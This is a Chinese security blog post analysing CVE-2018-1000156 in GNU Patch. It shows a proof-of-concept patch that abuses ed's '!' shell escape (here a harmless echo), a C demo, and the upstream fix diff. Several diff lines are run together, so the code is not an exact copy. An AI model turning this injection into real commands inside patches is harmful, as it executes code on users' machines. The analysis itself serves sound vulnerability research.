CVE-2018-1000156:GNU Patch任意代码执行漏洞分析

2018-05-1607:00:00 发表评论

漏洞背景

使用ed格式并用!开头的补丁,会导致代码执行

影响版本

GNU Patch 2.7.6及以下

(笔者下载了GNU Patch 2.7.1~6源码编译测试,都存在该问题)

GNU Patch 源码下载

漏洞分析(PoC)

  1. --- a   2018-13-37 13:37:37.000000000 +0100
  2. +++ b   2018-13-37 13:38:38.000000000 +0100
  3. 1337a
  4. 1,112d
  5. !echo "pwn successfully!"

调试过程

gdb 设置参数运行:

  1. set args test < ./poc.patch
  2. b do_ed_script

函数原型

  1. FILE *popen(const char *command, const char *type);

如果type是"w"则文件指针连接到command的标准输入,会将patch的内容传入/bin/ed/ - ./test.oUm4Sb5的输入中,test.oUm4Sb5是之前make_tempfile创建的临时文件。

popen()函数通过创建一个管道,调用fork()产生一个子进程,执行一个shell以运行命令来开启一个进程

启动的进程为/bin/ed,而!在ed编辑器中表示后面跟的是操作系统命令,从而导致代码执行。

CVE-2018-1000156:GNU Patch任意代码执行漏洞分析

Demo

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <fcntl.h>
  5. #include <sys/types.h>
  6. #include <sys/stat.h>
  7. int main()
  8. {
  9.         FILE *pipefp = 0;
  10.         char *buf[200];
  11.         static FILE *pfp;
  12.         sprintf(buf,"%s","/bin/ed - ./temp.txt");
  13.         fflush(stdout);
  14.         pipefp = popen(buf,"w");
  15.         sprintf(buf,"%s","1337a\n1,112d\n!echo 'pwn successfully'\n");
  16.         fwrite(buf,1,200,pipefp);
  17.         pclose(pipefp);
  18.         return 0;
  19. }

popen处fork了父进程和子进程,父进程通过fwrite将运行的命令传入管道,子进程此时打开了/bin/ed,接受了命令,并执行。

补丁分析

  1. diff --git a/src/pch.c b/src/pch.c
  2. index bc6278c..f97a4dc 100644
  3. --- a/src/pch.c
  4. +++ b/src/pch.c
  5. @@ -33,6 +33,7 @@
  6.  # include <io.h>
  7.  #endif
  8.  #include <safe.h>
  9. +#include <sys/wait.h>
  10.  #define INITHUNKMAX 125            /* initial dynamic allocation size */
  11.  @@ -2389,22 +2390,25 @@ do_ed_script (char const *inname, char const *outname,
  12.      static char const editor_program[] = EDITOR_PROGRAM;
  13.      file_offset beginning_of_this_line;
  14. -    FILE *pipefp = 0;
  15.      size_t chars_read;
  16. +    FILE *tmpfp = 0;
  17. +    char const *tmpname;
  18. +    int tmpfd, tmpfl;
  19. +    pid_t pid;
  20. +
  21. +    if (! dry_run && ! skip_rest_of_patch)
  22. +      {
  23. +    /* Write ed script to a temporary file: this causes ed to abort on
  24. +       invalid commands.  If we used a pipe instead, ed would continue
  25. +       after invalid commands.  */
  26. +    tmpfd = make_tempfile (&tmpname, 'e', NULL, O_RDWR | O_BINARY, 0);
  27. +    if (tmpfd == -1)
  28. +      pfatal ("Can't create temporary file %s", quotearg (tmpname));
  29. +    tmpfp = fdopen (tmpfd, "w+b");
  30. +    if (! tmpfp)
  31. +      pfatal ("Can't open stream for file %s", quotearg (tmpname));
  32. +      }
  33. -    if (! dry_run && ! skip_rest_of_patch) {
  34. -    int exclusive = *outname_needs_removal ? 0 : O_EXCL;
  35. -    assert (! inerrno);
  36. -    *outname_needs_removal = true;
  37. -    copy_file (inname, outname, 0, exclusive, instat.st_mode, true);
  38. -    sprintf (buf, "%s %s%s", editor_program,
  39. -         verbosity == VERBOSE ? "" : "- ",
  40. -         outname);
  41. -    fflush (stdout);
  42. -    pipefp = popen(buf, binary_transput ? "wb" : "w");
  43. -    if (!pipefp)
  44. -      pfatal ("Can't open pipe to %s", quotearg (buf));
  45. -    }
  46.      for (;;) {     char ed_command_letter;
  47.      beginning_of_this_line = file_tell (pfp);
  48. @@ -2415,14 +2419,14 @@ do_ed_script (char const *inname, char const *outname,     }
  49.      ed_command_letter = get_ed_command_letter (buf);     if (ed_command_letter) {-        if (pipefp)
  50. -        if (! fwrite (buf, sizeof *buf, chars_read, pipefp))
  51. +        if (tmpfp)
  52. +        if (! fwrite (buf, sizeof *buf, chars_read, tmpfp))             write_fatal ();         if (ed_command_letter != 'd' && ed_command_letter != 's') {
  53.              p_pass_comments_through = true;         while ((chars_read = get_line ()) != 0) {-            if (pipefp)
  54. -            if (! fwrite (buf, sizeof *buf, chars_read, pipefp))
  55. +        if (tmpfp)
  56. +            if (! fwrite (buf, sizeof *buf, chars_read, tmpfp))                 write_fatal ();             if (chars_read == 2  &&  strEQ (buf, ".\n"))             break;@@ -2435,13 +2439,50 @@ do_ed_script (char const *inname, char const *outname,         break;
  57.      }
  58.      }
  59. -    if (!pipefp)
  60. +    if (!tmpfp)
  61.      return;
  62. -    if (fwrite ("w\nq\n", sizeof (char), (size_t) 4, pipefp) == 0-    || fflush (pipefp) != 0)+    if (fwrite ("w\nq\n", sizeof (char), (size_t) 4, tmpfp) == 0+    || fflush (tmpfp) != 0)       write_fatal ();-    if (pclose (pipefp) != 0)
  63. -      fatal ("%s FAILED", editor_program);
  64. +
  65. +    if ((tmpfl = fcntl (tmpfd, F_GETFD)) == -1+        || fcntl (tmpfd, F_SETFD, tmpfl & ~FD_CLOEXEC) == -1)
  66. +      pfatal ("Can't clear close-on-exec flag of %s", quotearg (tmpname));
  67. +
  68. +    if (lseek (tmpfd, 0, SEEK_SET) == -1)
  69. +      pfatal ("Can't rewind to the beginning of file %s", quotearg (tmpname));
  70. +
  71. +    if (! dry_run && ! skip_rest_of_patch) {
  72. +       int exclusive = *outname_needs_removal ? 0 : O_EXCL;
  73. +       assert (! inerrno);
  74. +       *outname_needs_removal = true;
  75. +       copy_file (inname, outname, 0, exclusive, instat.st_mode, true);
  76. +       sprintf (buf, "%s %s%s", editor_program,
  77. +            verbosity == VERBOSE ? "" : "- ",
  78. +            outname);
  79. +       fflush (stdout);
  80. +
  81. +       pid = fork();
  82. +       if (pid == -1)
  83. +         pfatal ("Can't fork");
  84. +       else if (pid == 0)
  85. +         {
  86. +           dup2 (tmpfd, 0);
  87. +           execl ("/bin/sh""sh""-c", buf, (char *) 0);
  88. +           _exit (2);
  89. +         }
  90. +       else
  91. +         {
  92. +           int wstatus;
  93. +           if (waitpid (pid, &wstatus, 0) == -1+            || ! WIFEXITED (wstatus)
  94. +           || WEXITSTATUS (wstatus) != 0)
  95. +             fatal ("%s FAILED", editor_program);
  96. +         }
  97. +    }
  98. +
  99. +    fclose (tmpfp);
  100. +    safe_unlink (tmpname);
  101.      if (ofp)
  102.        {

补丁是创建了临时文件来代替pipe操作,使用文件的方式会使得ed因为无效的命令而退出,而之前的pipe操作遇到无效的命令后会继续执行。但popen的内部实现其实也是通过先fork,再dup2(fd,0),最后执行execl,补丁只是模拟了这一过程,并用文件的方式代替了管道操作。
其他缓解措施:以/bin/ed -r的形式启动,而-r参数的含义是:

  1. -r, –restricted           run in restricted mode

运行在严格的模式下,它禁止从当前目录编辑文件和执行shell命令。

CE安全网

发表评论

您必须登录才能发表评论!